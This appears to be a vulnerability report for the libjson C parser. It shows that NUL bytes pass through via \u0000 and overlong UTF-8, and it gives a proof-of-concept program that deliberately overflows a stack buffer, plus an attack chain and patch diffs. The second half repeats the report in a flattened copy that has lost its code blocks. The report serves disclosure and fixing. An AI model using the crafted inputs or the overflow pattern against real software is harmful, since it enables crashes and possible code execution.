Summary
libjson accepts NUL bytes (\x00) in parsed JSON string output through two code paths, violating the JSON spec (RFC
8259 §7: strings MUST NOT contain NUL). A downstream caller that trusts strlen() on the parsed data can suffer a
stack buffer overflow, leading to crash or potential code execution.
Affected Code
| File |
Function |
Line |
json.c |
decode_unicode_char() |
482 |
json.c |
utf8_header_table |
298 |
Root Cause
Path A — \u0000 direct injection (json.c:482)
decode_unicode_char() writes raw \x00 to the output buffer when handling \u0000:
if (!parser->unicode_multi && uval < 0x80) {
b[parser->buffer_offset++] = (char) uval; // uval=0 → writes \x00
return 0;
}
Path B — Overlong UTF-8 injection (json.c:298)
utf8_header_table marks bytes 0xC0 and 0xC1 as valid 2-byte UTF-8 sequence heads, violating RFC 3629. The
overlong encoding \xC0\x80 (which decodes to NUL) passes all validation, and downstream UTF-8 decoding produces a
raw \x00.
/* c0 */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
// ↑ ↑ 0xC0/0xC1 should be 0xff (illegal)
Additionally, bytes 0xF5–0xFD are incorrectly marked as valid 3/4/5-byte sequence heads (line 301), exceeding the
RFC 3629 maximum of 0xF4.
Proof of Concept
#include <stdio.h>
#include <string.h>
#include "json.h"
static int g_len;
static char g_buf[8192];
static int cb(void *u, int t, const char *d, uint32_t l) {
if (t != JSON_STRING) return 0;
(void)u; g_len = l; memcpy(g_buf, d, l); g_buf[l] = 0;
return 0;
}
int main(void) {
json_parser p;
json_config c = {0};
/* PATH A: \u0000 → decode_unicode_char writes raw \x00 */
char json[8192];
int n = sprintf(json, "[\"BEFORE\\u0000");
for (int i = 0; i < 4096; i++) json[n++] = 'A';
json[n++] = '"'; json[n++] = ']'; json[n] = 0;
json_parser_init(&p, &c, cb, NULL);
int ret = json_parser_string(&p, json, n, NULL);
json_parser_free(&p);
printf("PATH A (\\u0000): parse=%s ret=%d strlen=%d real_len=%d\n",
ret ? "REJECT" : "ACCEPT", ret,
(int)strlen(g_buf), g_len);
/* Simulate a downstream caller that trusts strlen() */
int safe = (int)strlen(g_buf) + 1; // = 7 (truncated at NUL)
char buf[safe]; // VLA: only 7 bytes on stack
memcpy(buf, g_buf, g_len); // writes 4103 bytes → STACK SMASH
printf("no crash — recompile with -fsanitize=address\n");
return 0;
}
Compile and run:
gcc -fsanitize=address -g -o poc poc.c json.c && ./poc
ASAN output:
PATH A (\u0000): parse=ACCEPT ret=0 strlen=6 real_len=4103
=================================================================
==170406==ERROR: AddressSanitizer: dynamic-stack-buffer-overflow
WRITE of size 4103 at 0x7ffc9bb07827 thread T0
#0 __interceptor_memcpy
#1 main poc.c:81
SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow
Attack Chain
Malicious JSON input: ["BEFORE\u0000" + 4096*A + "]
│
▼
libjson parses, callback receives "BEFORE\x00AAAA..."
│ strlen(data) = 6 ← truncated at NUL
│ callback_length = 4103 ← actual length
▼
Downstream code trusts strlen():
char buf[strlen(data) + 1]; ← allocates only 7 bytes (stack)
memcpy(buf, data, length); ← writes 4103 bytes → OVERFLOW
▼
Stack buffer overflow → CRASH / potential RCE
Impact
- Denial of Service — stack/heap buffer overflow crashes the process
- NUL injection bypass — raw
\x00 is rejected via character_class (JSON_ERROR_BAD_CHAR), but \u0000 and
\xC0\x80 are accepted
- String truncation bypass — downstream
strlen()/strcmp() security checks can be bypassed via NUL truncation
- JSON syntax character smuggling —
\xC0\xA2 → ", \xC1\x9C → \ can inject syntax characters via overlong
encoding
Proposed Fix
Fix 1 — Reject \u0000 output (json.c:482)
if (!parser->unicode_multi && uval < 0x80) {
+ if (uval == 0) return JSON_ERROR_UTF8;
b[parser->buffer_offset++] = (char) uval;
Fix 2 — Reject overlong UTF-8 headers (json.c:298)
-/* c0 */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+/* c0 */__,__, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
Fix 3 — Reject 0xF5–0xFD sequences (json.c:301)
-/* f0 */ 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5,__,__,
+/* f0 */ 3, 3, 3, 3, 3,__,__,__,__,__,__,__,__,__,__,__,
Environment
- libjson version: latest master
- OS: Linux (reproduced with GCC + ASAN)
References
- RFC 8259 §7: JSON strings MUST NOT contain NUL (
\x00)
- RFC 3629 §3: UTF-8 maximum is 4 bytes, overlong sequences MUST be rejected
- CWE-172: Encoding Error
- CWE-121: Stack-based Buffer Overflow
Summary
libjson accepts NUL bytes (
\x00) in parsed JSON string output through two code paths, violating the JSON spec (RFC8259 §7: strings MUST NOT contain NUL). A downstream caller that trusts
strlen()on the parsed data can suffer astack buffer overflow, leading to crash or potential code execution.
Affected Code
json.cdecode_unicode_char()json.cutf8_header_tableRoot Cause
Path A —
\u0000direct injection (json.c:482)decode_unicode_char()writes raw\x00to the output buffer when handling\u0000:Path B — Overlong UTF-8 injection (
json.c:298)utf8_header_tablemarks bytes0xC0and0xC1as valid 2-byte UTF-8 sequence heads, violating RFC 3629. Theoverlong encoding
\xC0\x80(which decodes to NUL) passes all validation, and downstream UTF-8 decoding produces araw
\x00.Additionally, bytes
0xF5–0xFDare incorrectly marked as valid 3/4/5-byte sequence heads (line 301), exceeding theRFC 3629 maximum of
0xF4.Proof of Concept
Compile and run:
gcc -fsanitize=address -g -o poc poc.c json.c && ./pocASAN output:
Attack Chain
Impact
\x00is rejected viacharacter_class(JSON_ERROR_BAD_CHAR), but\u0000and\xC0\x80are acceptedstrlen()/strcmp()security checks can be bypassed via NUL truncation\xC0\xA2→",\xC1\x9C→\can inject syntax characters via overlongencoding
Proposed Fix
Fix 1 — Reject
\u0000output (json.c:482)if (!parser->unicode_multi && uval < 0x80) { + if (uval == 0) return JSON_ERROR_UTF8; b[parser->buffer_offset++] = (char) uval;Fix 2 — Reject overlong UTF-8 headers (
json.c:298)Fix 3 — Reject 0xF5–0xFD sequences (
json.c:301)Environment
References
\x00)